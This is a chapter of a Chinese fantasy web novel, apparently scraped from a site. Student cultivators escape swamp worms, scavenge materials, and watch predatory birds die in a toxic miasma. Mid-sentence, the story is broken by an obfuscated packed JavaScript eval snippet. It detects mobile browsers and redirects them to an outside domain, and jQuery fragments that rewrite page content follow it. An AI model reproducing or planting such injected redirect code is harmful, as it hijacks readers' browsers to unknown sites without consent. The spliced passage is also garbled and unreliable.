虫群穷追不舍。
看架势就好像上辈子被掘了祖坟。
不过他们实际上做的事情,也跟掘人祖坟差不了多少。
季献桃内里还是一境修为,御不了空,在这片枯木沼泽地里本该寸步难行,好在她早有所准备。
遮掩修为、模糊他人感知用的雾隐琅花佩早已寸步不离身,此次秘境一行,她带足了灵石补充灵力,丹药法器也是应有尽有。
身上披的天水碧罗衣能抵御五境修为一击,腕上带的六仪方镯最高可爆发七境威力,脚上踩一双跻云履,无需风雷引御风便可凌空而行。
于是,一行人中最苦的成了狴犴婴。
别看野人同学力壮如牛,卫千秋需全力才能勉强控制的蛟虫,在他手底下也要吃亏。
但狴犴婴的实际修为也才一境,在树枝间腾转跳跃,没多久就已经跟不上队伍。
许乘风作为在场年轻一辈中修为最高者,只好担负起帮扶同学的责任,并拢双指往狴犴婴身上一抹一挑,指尖灵气聚成绳,将人捆了甩到正御驶的折扇上。
“不行。”
奔忙之中,卫千秋抽空往身后看了一眼。
高越十数丈的巨型长虫,还不止一条,在这片密密织织高耸入云的枯木林中,掀起了一场不小的灾难。
看似肥厚的身躯,借助沼泽地活动起来丝毫不显迟缓,如鱼戏水般时而破开泥浆,一张层层叠叠满布利齿的嘴兜头朝他们罩下。
来不及转弯时,便悍然撞在深蓝色树干上,伴随轰隆隆的巨响,刀枪不入的枯木虽未折断,却缓缓倾斜被撞得连根拔起。
“追了这么久速度不见一丝减缓,再这样下去我们灵力迟早耗不住。”
姬瑶池目光凶狠,眼见就要转身,“跟它们拼了!”
卫山河及时一把将人拉住,头疼道:“问题是拼不过啊。”
季献桃看向一旁始终微笑冷眼旁观的礼长老。
“殿下。”礼长老瞧出她的求助之意,摇了摇头,“此次秘境是属于你们的历练,遇事求助我该如何获得成长?”
“臣只会在遇到你们应付不来的意外时出手。”
他们现在就应付不来啊!
季献桃也就在心里吐糟一两句,脑子转得飞快,礼长老这话的意思,就是判断眼下情景他们还有扭转的余地。
“应该是虫卵破裂时的气味,有没有什么消除——”
话只说到一半,便戛然而止。
她瞳孔紧缩,猛地回头看向高空,只听几声嘶哑粗粝的怪叫穿透树林,天上几个小黑点由远而近,速度极快,化作五六只生得丑陋的怪鸟。
这鸟两只眼睛瞪大到脱出眼眶,羽毛稀稀疏疏,显得瘦弱不堪,飞起来还带打摆子。
尖长锋利的喙落在蛟虫身上,却一啄一个口子,吮吸虫躯向外淌出的汁液,眨眼间便只剩一张薄薄虫皮。
正因为虫群将遮蔽用的枯木撞得七零八落,几只鸟捕食起来毫无阻碍,没多久将十几条虫吃得一干二净,侥幸活下来的几条早就逃得没影。
万幸,比起虫来人的目标要小太多,他们及时躲在繁密的树枝底下,怪鸟看得见吃不着,只能嘎嘎叫了几声,又在空中盘旋许久,这才尤带不甘地离去。
从引动虫群追杀,到怪鸟出动,满打满算也才几个时辰。
枯木林恢复到了最初的寂静,好似从来无人到访。
等确认四周暂无危险,几人停下来恢复灵力。
卫千秋不禁感慨,“最后那鸟是什么来头,比虫群还危险。”
没人回答,因为他们都不知道。
季献桃的关注点则不同,盯着满地狼藉眼冒绿光,“忙活半天绝不能两手空空。”
“之前那红果子看走了眼,这回总不会出错。”
感谢那几只秃毛丑鸟,不仅帮他们解决危机,连原材料处理都做好了。
季献桃当先走上前,将瘪瘪的虫皮收入储物袋。
姬瑶池欲言又止,“阿姊,不至于。”
“我觉得至于。”季献桃幽幽吐出了一字真言,“因为我穷。”
“这虫皮材质坚韧,忽略原型算得上一张不错的材料,应该能换些贡献点。”
狴犴婴眼神也亮了起来,紧跟在她身后收拾残局,还招呼其他小伙伴,大方开朗的模样早将夺烤鸡之恨忘到脑后。
“你们,也来!”
没人会嫌自己贡献点少,其余几人只犹豫了片刻,也开始收捡虫尸。
收获完,季献桃的目光转向倒塌的枯木。
卫千秋不由吐槽,“这就是传说中的雁过拔毛吗?”
话虽如此,她行动却很诚实,这树木的材质比虫皮有过之无不及,加上也算美观,收拾起来积极性都提高了些。
最后,季献桃若有所思盯住了底下的沼泽地。
卫千秋这回是彻底绷不住了,“殿下这就有点过了吧?”
穷到连土都不放过。
季献桃皱起眉头反驳道:“这泥土也不知什么成分,带有剧毒,其一可做研究分析秘境组成,其二可提炼成毒药防身。”
“殿下说的在理。”卫山河丧起个脸训妹妹,“凡事不可凭外表断定,世间万物皆在烘炉中,无一不可炼化。”
卫千秋敷衍点头,对玩泥巴没啥兴趣。
这时,许乘风提议道:“不妨派个人飞上去探一探这林子的方向?”
几人甚觉有理,然后齐刷刷看向他。
“你修为高,你去。”
许乘风折扇突然不摇了,难得郁闷地说:“为什么总是我,明明卫千秋修为同我一样是三境?”
卫千秋玩起了谐音,“因为你扇,啊不对,身法比我好。”
姬瑶池也道:“千万记得小心,动静大了谁知道那群鸟会不会去而复返,除虫群以外又会引来什么?”
许乘风认命动身,轻轻一跃便钻入树枝间没了影。
不多时,深蓝荆棘中重新见到一截月白色衣角,许乘风落了地,将他探知的情况如实相告。
“整片枯木林一眼望不到头,不过在东边能看到一条雪白山脉。”
众人无需商量,一拍即合,“那就往东边走。”
临出发前,季献桃突发奇想,运用术数课所学算了一卦,在此之前,她可是好不容易才捋清的天干地支五行四象。
人生中第一卦,她算的财,然后顺利接到这个悬赏任务。
这让她对自己磕磕绊绊的学习有了些自信,算出来的结果,罗盘指针停留在西北方,显示那处财源丰富。
季献桃刚想出声,又见指针缓缓转动,挪到了正西方。
而后是西南,正南,逆时针转了整整一个圈。
罗盘:我不造啊,反正哪哪都是财宝,你库库走就行。
季献桃:“……”
她怒而摔,摔不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15432268|167635||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
起罗盘,悻悻将这东西收回储物袋眼不见为净。
果然算卦天才什么的只是她痴心妄想,成功算到这次秘境任务不过是一场美丽的意外。
一个小女孩的神棍梦悄悄碎掉了。
几人飞身而起,为赶路也只得来到稍微稀疏的林子底下,就是在光线照射到身上的瞬间,漆黑的阴影笼罩他们。
怪鸟果然没走远!
在许乘风一无所知露头探查时,忍住贪婪与食欲静静蛰伏,一直到所有人一齐动身才瞬息掠至。
当先那一只做好俯冲的姿势,利爪伸长,直直朝着被许乘风载着的狴犴婴抓来。
这鸟两只眼睛生得滑稽丑陋,外表不太聪明的样子,实则精明得很,一眼瞧出狴犴婴是几人中唯一不会飞的,逮住他不放。
狴犴婴生活在八荒,自小就与妖兽搏杀,又怎是好相与的?
他神色一凛,利爪俯冲至面前时,脚一蹬跃下折扇,躲过被鸟爪攥住的命运,反过来死死拽紧一把羽毛,借力一翻骑上这只大鸟脊背。
满身腱子肉的少年郎,此刻却展现蛇一般的柔韧度,两条手臂锁紧怪鸟脖颈,双腿勾缠鸟身,轻而易举扰乱它的飞行动作。
一人一鸟纠缠在一处,断线风筝似的在空中打转,连连往树干上撞。
见状其余怪鸟赶忙调转方向,试图将狴犴婴撕下来。
可他从来不是孤军奋战,几人在这短短时间调整好被冲散阵型的状态,发起反击,尤其是许乘风,御空时没了狴犴婴拖后腿,爆发无与伦比的速度。
砰地一声。
狴犴婴与怪鸟砸进沼泽地里。
他在上,鸟在下。
确认翅膀已被淤泥覆盖,黏腻沉重到飞不起来,可惜怪鸟以蛟虫为食,练出了抗毒性,要不然连挣扎都不会有。
狴犴婴踩在怪鸟肚皮上,狠狠一脚往下蹬,借力起跳。
轰隆!
地动山摇。
狴犴婴:“?”他有这么厉害吗?
显然不是因为他。
潮湿的沼泽地竟然裂开道道缝隙,一直蔓延到林子深处。
声势之浩大仿佛火山爆发,远方的天空被墨色浸透,来势汹汹的雾瘴转瞬往此处扩散。
由地底喷发的瘴气,不用想都知道继承了沼泽的毒素。
顾不得再与怪鸟缠斗,许乘风捞起狴犴婴就跑。
几人跃出林子,以姬瑶池为首,灵力编织成密网,将怪鸟受枯木林阻挡的动作紧接着又阻上一次。
他们眼睁睁看到怪鸟困于林中,被汹涌瘴气淹没。
靠吸食蛟虫获得的抗毒性是那么微不足道,眨眼的功夫化作白骨,羽毛与皮肉尽皆销蚀作了一摊淤泥,与沼泽融为一体。
几人顿时心有余悸。
季献桃眺望瘴雾散去后的树林,根据残存的沟壑推断,“好像是虫群动作太大,挑破了沉积在淤泥里的瘴气空洞,气体一股脑像泡泡一样浮了出来。”
“虫群追逐我们,沿途压倒避身的树木,以至于沦为鸟喙下的亡魂。”
“尔后怪鸟袭击我们,因虫群搅动淤泥,所引起的瘴气殒命。”
“某种程度上也算冤冤相报了。”
季献桃叹了口气,眼神复杂看着重归死寂的枯木林,“这片沼泽林地里的所有东西,仿佛是连在一起的,牵一发而动全身。”
“冥冥之中,自会驱逐搅扰其安宁的存在。”